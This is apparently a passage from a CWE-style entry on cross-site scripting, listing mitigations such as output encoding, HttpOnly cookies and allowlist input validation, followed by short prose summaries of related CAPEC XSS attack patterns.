Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.